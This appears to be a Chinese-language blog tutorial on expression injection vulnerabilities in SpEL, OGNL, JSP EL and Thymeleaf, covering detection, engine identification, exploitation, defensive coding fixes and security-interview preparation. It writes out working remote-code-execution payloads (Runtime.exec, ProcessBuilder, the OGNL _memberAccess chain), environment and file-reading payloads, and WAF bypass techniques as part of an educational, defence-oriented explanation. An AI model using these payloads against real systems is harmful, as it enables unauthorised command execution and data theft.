表达式注入漏洞:从原理到实战的深度解析与防御指南 1. 项目概述从一次真实的表达式注入漏洞挖掘说起前段时间我帮一个朋友的公司做了一次内部的安全渗透测试。他们的系统是一个典型的Java Web应用用了Spring Boot框架前端有一些复杂的配置页面允许管理员动态配置一些业务规则。测试过程中我随手在某个看起来像是“规则描述”的输入框里尝试输入了${7*7}。本来没抱太大希望结果页面刷新后那个输入框旁边用于预览的“计算结果”区域赫然显示着“49”。我心里咯噔一下知道碰上“硬菜”了——这很可能是一个表达式注入漏洞。对于安全从业者来说发现漏洞只是第一步更重要的是如何证明它的危害以及如何系统地修复和防御。这就引出了我们今天要深入探讨的核心表达式注入漏洞的原理、那个“通用”的POC概念验证代码到底该怎么写才有效以及如何将这些实战经验转化为你在面试大厂网络安全岗位时的核心竞争力。无论你是正在挖洞的渗透测试工程师还是准备冲击大厂安全岗的求职者这篇文章都会从原理到实战再到面试技巧给你一次彻彻底底的梳理。2. 表达式注入漏洞深度解析不只是EL表达式很多人一提到表达式注入第一反应就是EL表达式注入Expression Language Injection这没错但视野有点窄了。在实际的漏洞挖掘和防御中我们需要建立一个更广义的“表达式”概念。2.1 漏洞的本质将用户输入误解析为代码表达式注入漏洞的核心成因非常简单应用程序将用户可控的、未经充分验证的数据传递给了某个表达式解析引擎去执行。这个解析引擎以为自己处理的是程序员预先写好的、安全的模板或规则但实际上它处理的是攻击者精心构造的恶意输入。这个过程可以类比成一个翻译官。程序对表达式解析器说“请把这段‘用户说的话’翻译并执行一下。”解析器很敬业它不会去分辨这话是用户说的还是程序员说的只要语法正确它就照做。如果“用户说的话”是“把保险柜打开”那后果可想而知。2.2 常见的表达式引擎与攻击面除了最经典的JSP ELExpression Language现代应用中还充斥着各种表达式引擎每一种都是一个潜在的攻击面OGNL (Object-Graph Navigation Language)Struts2框架的“老朋友”历史上爆发过无数次严重漏洞如S2-045, S2-061等。它的功能极其强大能执行静态方法、创建对象因此一旦注入危害极大。SpEL (Spring Expression Language)Spring框架全家桶的核心表达式语言。在Spring MVC、Spring Security、Thymeleaf模板以及各种Value注解、XML配置中广泛使用。如果开发者在Value(#{systemProperties[user.dir]})这类地方不小心拼接了用户输入就可能中招。MVEL / JUEL一些规则引擎如Drools或工作流引擎中常用的高性能表达式语言。它们常被用于动态配置业务规则正是我开头提到的那个案例最可能使用的类型。模板引擎表达式如Freemarker的${...}Velocity的$varThymeleaf的${...}或*{...}。虽然模板引擎本身有沙箱机制但配置不当比如启用new指令或版本过旧也可能导致表达式注入甚至代码执行。其他领域特定语言比如在JSON解析库如fastjson的某些特性下利用其自动类型转换触发特定类的getter/setter方法执行其本质也是一种表达式注入的变体。注意这里存在一个关键区别。表达式注入Expression Injection和代码注入Code Injection如SQLi、OS命令注入有本质不同。代码注入是让数据库或操作系统执行一段“外来”的代码。而表达式注入是在应用本身的、受信任的表达式引擎上下文里滥用其合法功能。正因为表达式引擎是应用的一部分所以防御起来更需要理解其运行机制。2.3 漏洞发生的典型场景理解场景比记忆payload更重要它能帮你培养“漏洞嗅觉”搜索/排序参数orderBy${userInput}如果后端直接拼接成SpEL表达式进行动态排序。规则引擎配置用户可以通过界面配置如“当订单金额 ${threshold}时触发审核”。这里的threshold如果未过滤就被放入规则表达式。消息模板邮件或通知模板如“尊敬的${username}您好...”如果username可控。视图模板渲染在Controller中将用户输入直接作为Model属性然后在模板中如span th:text${userInput}渲染如果输入是${7*7}就可能被二次解析。配置文件外部化通过环境变量或配置中心动态注入属性值如Value(${api.endpoint:${user.config}})形成嵌套表达式解析。3. 构建“通用”POC思路远比代码重要网上流传着各种“通用”POC但直接套用往往失败。真正的“通用”在于探测、确认、利用和证明的思路而非某一段固定的代码。3.1 探测阶段如何发现表达式注入点探测的目标是判断一个输入点是否会被某个表达式引擎解析。基础数学运算探测这是最安全、最通用的第一步。输入${7*7}、#{7*7}、${{7*7}}、*{7*7}等变体。观察响应中是否出现“49”或者页面计算、显示逻辑是否发生变化。字符串操作探测如果数学运算被过滤或无效尝试字符串拼接。输入${a b}或#{a.concat(b)}观察是否输出“ab”。环境信息泄露探测尝试获取基本的上下文信息这有助于判断引擎类型。JSP EL${pageContext}、${requestScope}、${sessionScope}。SpEL#{T(java.lang.System).getProperty(user.dir)}注意SpEL中调用静态方法的语法。OGNL#context、#_memberAccess。盲注探测如果没有任何回显就需要使用基于时间延迟或错误响应的盲注技术。时间盲注构造一个会导致线程睡眠的表达式。例如在SpEL中#{T(java.lang.Thread).sleep(3000)}。观察响应时间是否明显增加约3秒。错误盲注构造一个必然抛出特定异常的表达式如#{1/0}除零错误通过服务器返回的错误页面或状态码差异来判断是否执行。3.2 确认阶段识别具体的表达式引擎不同的引擎其语法、内置对象和上下文各不相同。确认引擎类型是编写有效利用代码的前提。特征可能引擎验证Payload示例${...}语法支持pageContext,paramJSP EL${param.test}#{...}语法支持T()调用静态类Spring SpEL#{T(java.lang.Runtime).getRuntime()}#开头常与struts2框架关联OGNL#_memberAccess.allowStaticMethodAccesstrue在Thymeleaf模板中解析Thymeleaf EL*{7*7}或${7*7}响应中出现MVEL或JUEL相关类名MVEL/JUEL通过错误信息判断实操技巧最有效的方法之一是触发一个详细的错误信息。你可以故意构造一个语法错误或访问不存在的属性比如输入${invalidObject.xxx}。服务器返回的异常堆栈信息中经常会包含如org.springframework.expression.spel.SpelEvaluationException或javax.el.ELException这样的关键类名直接告诉你用的是SpEL还是EL。3.3 利用阶段从证明到危害最大化确认漏洞和引擎后POC的构造就有了方向。我们的目标从“证明存在”升级到“证明危害”。信息泄露这是危害最小但最直接的证明方式。读取系统属性#{T(java.lang.System).getProperties()}或${systemProperties}。读取环境变量#{T(java.lang.System).getenv()}。读取Web上下文${applicationScope}、${sessionScope}可能包含其他用户会话ID、敏感数据。读取文件有限在某些上下文下可能能通过类加载器读取文件如#{T(org.springframework.util.StreamUtils).copyToString(T(org.springframework.util.ResourceUtils).getURL(classpath:application.yml).openStream())}。命令执行这是危害最大的利用方式也是面试官最关心的“深度利用”能力。SpEL命令执行// 经典Payload但在新版本Spring中可能受限 #{T(java.lang.Runtime).getRuntime().exec(calc)} // 更隐蔽的写法利用ProcessBuilder #{new java.lang.ProcessBuilder(open, /System/Applications/Calculator.app).start()}OGNL命令执行Struts2经典漏洞#_memberAccess.allowStaticMethodAccesstrue,#foonew java.lang.ProcessBuilder({calc}),#foo.start()绕过技巧现代框架和WAF会有很多过滤。常见的绕过思路包括字符串拼接#{T(java.lang.Runtime).getRuntime().exec(calc)}编码使用URL编码、Hex编码、Base64编码等。反射调用#{T(org.springframework.util.ReflectionUtils).invokeMethod(T(Runtime).getRuntime(), exec, calc)}示例需根据上下文调整。利用上下文中的类如果Runtime类被黑名单过滤可以尝试寻找其他可以执行命令的类如ProcessBuilder、GroovyShell等。重要心得在实际渗透测试或漏洞报告中切忌一上来就尝试执行rm -rf /或calc这种具有破坏性或明显交互性的命令。这既不专业也可能触犯法律。正确的做法是使用无害的命令来证明漏洞例如在Linux下执行whoami或id在Windows下执行ver或echo test并将命令执行结果如回显或延时作为漏洞存在的证据。在面试中阐述这一点能体现出你的专业素养和职业道德。3.4 一个“相对通用”的POC构造框架虽然不存在绝对通用的代码但可以有一个通用的构造框架。以下是一个伪代码思路用于指导手动或工具生成POC# 伪代码表达式注入POC生成逻辑 def generate_poc(injection_point, engine_type, goaldetect): base_payloads { detect: { SpEL: [#{7*7}, #{a.concat(b)}, #{T(Thread).sleep(3000)}], EL: [${7*7}, ${ab}, ${pageContext}], OGNL: [#{[7*7]}, #{ab}, #_memberAccess] }, confirm: { SpEL: [#{T(java.lang.System).getProperty(user.dir)}], EL: [${header[User-Agent]}], OGNL: [#parameters.test[0]] }, exploit: { info_leak: { SpEL: [#{T(java.lang.System).getenv()}, #{T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().request.getParameter(test)}], EL: [${applicationScope}, ${initParam}] }, rce: { SpEL: [#{T(java.lang.Runtime).getRuntime().exec(whoami)}], # ... 其他引擎 } } } # 根据目标选择payload列表 target_list base_payloads[goal][engine_type] # 应用编码、拼接等绕过技巧 final_payloads apply_bypass_techniques(target_list) return final_payloads这个框架的意义在于它要求你首先通过探测和确认明确engine_type和利用目标 (goal)然后再去选取和加工合适的Payload。这才是科学的漏洞利用流程。4. 防御之道从编码到架构的多层防护找到并利用漏洞是白帽子的工作但知道如何修复和防御才是安全工程师的核心价值。在面试中能系统性地阐述防御方案会大大加分。4.1 编码层输入验证与输出编码这是最根本但也最容易出错的一层。白名单校验对于明确格式的输入如订单号、手机号使用白名单正则进行严格校验拒绝任何不符合格式的输入。黑名单过滤谨慎使用单纯过滤${、#{、T(等关键字很容易被绕过如${→${。黑名单应作为辅助手段而非主要依靠。上下文相关的输出编码确保所有渲染到页面的用户数据都经过正确的编码。例如在JSP中使用c:out value${userInput}/而非${userInput}在Thymeleaf中使用th:text自动转义而非th:utext。使用安全的API如果必须动态执行表达式请使用表达式引擎提供的“安全求值”模式或沙箱环境。SpEL创建StandardEvaluationContext时可以设置RootObject并限制可访问的属性和方法。更安全的是使用SimpleEvaluationContext它默认支持一组基本的数据绑定功能不支持Java类型引用、bean引用和方法调用。// 不安全的用法 ExpressionParser parser new SpelExpressionParser(); StandardEvaluationContext context new StandardEvaluationContext(); String result parser.parseExpression(userInput).getValue(context, String.class); // 相对安全的用法使用SimpleEvaluationContext SimpleEvaluationContext simpleContext SimpleEvaluationContext.forReadOnlyDataBinding().build(); // 但注意SimpleEvaluationContext依然可能被滥用取决于配置最佳实践是避免直接解析用户输入重新评估业务需求是否真的需要如此动态的表达式功能能否用更安全的方式如预定义规则枚举、查询数据库实现4.2 框架与组件层安全配置与更新及时更新框架Struts2、Spring等框架的历史表达式注入漏洞都有官方补丁。保持框架和依赖库的最新版本是成本最低的防御措施。安全配置对于Spring可以全局设置SpEL表达式的解析器为SimpleEvaluationContext模式虽然通常需要代码层面控制。对于Thymeleaf确保模板模式不是RAW或LEGACYHTML5并且不要轻易启用spring.thymeleaf.mode为不安全的模式。禁用不必要的表达式引擎功能如OGNL的静态方法访问_memberAccess.allowStaticMethodAccess。使用安全的表达式库考虑使用功能受限的、专门为安全动态求值设计的库而不是功能强大的全量OGNL或SpEL。4.3 架构与运维层纵深防御WAFWeb应用防火墙部署WAF规则可以拦截大量已知的表达式注入攻击payload。但WAF是缓解措施不能替代代码修复。RASP运行时应用自我保护在应用内部监控危险行为如Runtime.exec()的调用当表达式注入试图执行命令时RASP可以实时拦截并告警。这对防御未知的绕过手法特别有效。代码审计与安全扫描将表达式注入的检测规则如搜索SpelExpressionParser、StandardEvaluationContext、OgnlExpressionEvaluator等关键词集成到SAST静态应用安全测试工具和代码审计流程中。最小权限原则运行Java应用的服务器账户应遵循最小权限原则避免使用root或administrator权限。这样即使命令执行成功能造成的破坏也有限。4.4 修复案例实操假设我们有一个不安全的SpEL解析代码片段GetMapping(/eval) public String evaluate(RequestParam String expr) { ExpressionParser parser new SpelExpressionParser(); StandardEvaluationContext context new StandardEvaluationContext(); // 高危直接解析用户输入的expr Object value parser.parseExpression(expr).getValue(context); return Result: value; }修复方案1首选避免动态解析如果业务上只是需要简单的计算可以改用安全的数学表达式解析库或者直接限定为几个预定义的操作。// 使用像 commons-math 或 exp4j 这样的轻量级数学表达式库 Expression exp new ExpressionBuilder(expr).build(); double result exp.evaluate();修复方案2必须使用时沙箱限制如果必须使用SpEL则创建高度限制的上下文。GetMapping(/evalSafe) public String evaluateSafe(RequestParam String expr) { ExpressionParser parser new SpelExpressionParser(); // 使用 SimpleEvaluationContext并仅暴露必要的变量 SimpleEvaluationContext context SimpleEvaluationContext.forReadOnlyDataBinding() .withRootObject(safeDataObject) // 根对象只包含安全数据 .build(); // 可以进一步限制可解析的表达式类型例如只允许属性访问和简单运算 // 这里需要根据业务自定义一个安全的ExpressionParser包装器或AOP拦截器 try { Expression exp parser.parseExpression(expr); // 在获取值前可以检查表达式AST禁止MethodReference、ConstructorReference等节点 Object value exp.getValue(context); return Result: value; } catch (SpelEvaluationException e) { return Error: Invalid or unsafe expression.; } }修复方案3输入净化在入口处进行严格的过滤。但记住过滤规则必须非常严谨。// 一个非常严格的例子只允许数字、基础运算符和括号 private static final Pattern SAFE_EXPR_PATTERN Pattern.compile(^[0-9\\\\-\\*\\/\\(\\)\\.\\s]$); public String evaluateFiltered(String expr) { if (!SAFE_EXPR_PATTERN.matcher(expr).matches()) { throw new IllegalArgumentException(Invalid expression); } // ... 后续使用安全的解析库进行求值 }5. 大厂网络安全面试经验与实战问题剖析掌握了原理、利用和防御最终要落到“如何通过面试”上。大厂的网络安全面试尤其是渗透测试、安全研究、应用安全工程师岗位非常注重实战和深度。5.1 面试必考题与回答思路请描述一下你发现的一个印象最深刻的漏洞。思路采用STAR法则情境、任务、行动、结果。重点不是漏洞多高端而是体现你的思考过程。示例“在一次对某OA系统的测试中我发现了一个规则配置功能情境。我怀疑它可能存在表达式注入因为配置项的描述字段会动态预览任务。我先输入${7*7}预览区没变化。但我注意到URL参数里有一个engineMVEL的提示行动。于是我尝试了MVEL的语法{7*7}成功在预览区看到了49。进一步利用我构造了读取系统属性的payload获取了服务器路径结果。整个过程的关键在于观察细节和灵活切换测试payload。”表达式注入和代码注入如SQL注入的根本区别是什么核心答案执行环境与信任边界不同。SQL注入是将恶意代码注入到数据库这个“外部解释器”中执行而表达式注入是在应用自身的、受信任的表达式引擎上下文内滥用其功能。因此防御SQL注入主要靠参数化查询将代码与数据分离而防御表达式注入需要控制表达式引擎本身的能力或对输入进行语义级验证。如果${和#{都被WAF过滤了你有什么绕过思路考察点绕过技巧和发散思维。回答要点编码绕过尝试URL编码%24%7b、HTML实体编码、Unicode编码、Hex编码等。语法变体不同引擎可能有其他语法如*{...}、{...}、~{...}等。或者利用EL中的[]运算符代替.运算符如${header[User-Agent]}。上下文污染寻找其他可控输入点通过参数污染、HTTP头注入等方式将payload拆分注入在服务端拼接。逻辑绕过如果过滤是删除字符串可以考虑双写绕过${-${-${{}过滤一次后变成${}。或者利用注释、换行符干扰WAF解析。升级攻击如果前端有过滤尝试直接抓包修改请求。WAF是网络层过滤可以尝试研究应用层解析差异如大小写、空格、特殊字符来绕过。如何设计一个安全的、支持动态表达式的规则引擎考察点安全架构设计能力。回答框架需求最小化明确业务到底需要多强的表达能力。只实现必要的运算符和函数。白名单机制定义安全的表达式“词汇表”和“语法树”。只允许访问特定的、安全的上下文变量如订单金额、用户等级禁止访问任何Java类、方法或系统属性。沙箱环境使用SecurityManager或自定义的类加载器在独立的、权限受限的沙箱中执行表达式。审计与监控所有表达式解析和执行都需要记录日志便于事后审计和异常发现。静态分析在规则保存前对表达式进行静态分析检测是否存在危险模式。5.2 面试实战模拟漏洞排查与修复面试官可能会给你一段有问题的代码让你找出漏洞并给出修复方案。问题代码// 一个不安全的配置解析服务 Service public class DynamicConfigService { Value(${app.welcome.message:Hello, ${spring.application.name}}) private String welcomeMessageTemplate; public String getWelcomeMessage(String username) { // 危险操作将用户名直接拼接到可能包含SpEL的模板中 String expression welcomeMessageTemplate.replace({user}, username); ExpressionParser parser new SpelExpressionParser(); StandardEvaluationContext context new StandardEvaluationContext(); context.setVariable(app, new AppInfo()); // AppInfo是一个自定义Bean return parser.parseExpression(expression).getValue(context, String.class); } }你的回答步骤指出漏洞这段代码存在SpEL表达式注入漏洞。username参数用户可控它被直接拼接进一个可能包含SpEL表达式${...}的模板字符串中然后被SpelExpressionParser解析执行。解释危害攻击者可以将username设置为如${T(java.lang.Runtime).getRuntime().exec(calc)}导致服务器执行任意命令。给出修复方案方案A彻底避免重新设计功能不使用SpEL。欢迎信息模板使用简单的占位符替换如StringUtils.replace(template, {user}, username)。方案B安全使用如果必须用SpEL则必须对用户输入进行严格的净化并使用SimpleEvaluationContext。public String getWelcomeMessageSafe(String username) { // 1. 输入校验用户名只允许字母数字 if (!username.matches(^[a-zA-Z0-9]$)) { throw new IllegalArgumentException(Invalid username); } // 2. 使用SimpleEvaluationContext它不支持类型引用和方法调用 SimpleEvaluationContext context SimpleEvaluationContext.forReadOnlyDataBinding().build(); // 3. 将用户名作为一个变量放入上下文而不是拼接进表达式字符串 context.setVariable(username, username); // 4. 模板本身是安全的只包含对变量的引用如“Hello, #{#username}” String safeTemplate Hello, #{#username} from #{#app.name}; return parser.parseExpression(safeTemplate).getValue(context, String.class); }额外建议app.welcome.message这个配置项本身也可能来自不安全的配置源如环境变量应确保其内容可信或对其进行类似的净化处理。能这样层层递进地分析并给出多种解决方案的权衡在面试中绝对是高分表现。6. 从学习到精通网络安全工程师的成长路径最后结合“表达式注入”这个点聊聊网络安全工程师尤其是应用安全方向的学习和成长。面试官也喜欢考察候选人的学习能力和规划。基础筑牢表达式注入涉及Web安全、语言特性Java、框架原理Spring。因此计算机网络、操作系统、一门主力编程语言Java/Python/Go是基础。不懂Java很难深刻理解SpEL和OGNL的漏洞。靶场实战光说不练假把式。一定要在合规的靶场上动手。推荐靶场PortSwigger的Web Security Academy有专门的Server-side template injection模块涵盖各种表达式注入、DVWA、WebGoat、以及GitHub上各种CTF题目和漏洞环境。练习方法不要只满足于用现成payload打成功。要尝试修改payload理解每一部分的作用尝试绕过简单的过滤尝试阅读靶场应用的源码理解漏洞产生的根本原因。工具化为能力熟悉Burp Suite、SQLmap等工具是必须的但更要明白工具背后的原理。可以尝试自己用Python写一个简单的表达式注入Fuzzer自动替换不同的语法前缀和后缀这能极大地加深理解。阅读与跟进漏洞报告关注国内外安全团队的漏洞披露如Seebug、先知社区、CNVD、NVD、CVE Details。看别人怎么挖洞怎么分析。框架源码大胆地去读Spring、Struts2的源码看它们是如何解析表达式的。这能让你在遇到新框架或WAF绕过时有自己分析的能力。建立知识体系表达式注入不是孤立的。它和反序列化、XSS、SSRF等漏洞都可能产生联动。建立一个自己的知识图谱理解漏洞之间的关联。网络安全是一个需要持续学习、充满挑战的领域。表达式注入作为一个经典的服务器端漏洞很好地体现了“信任边界”、“输入验证”、“上下文解析”这些安全核心思想。把它吃透不仅能帮你解决眼前的漏洞和面试更能为你打开一扇深入理解应用安全的大门。每一次成功的漏洞挖掘和修复都是你技术生涯中一块坚实的基石。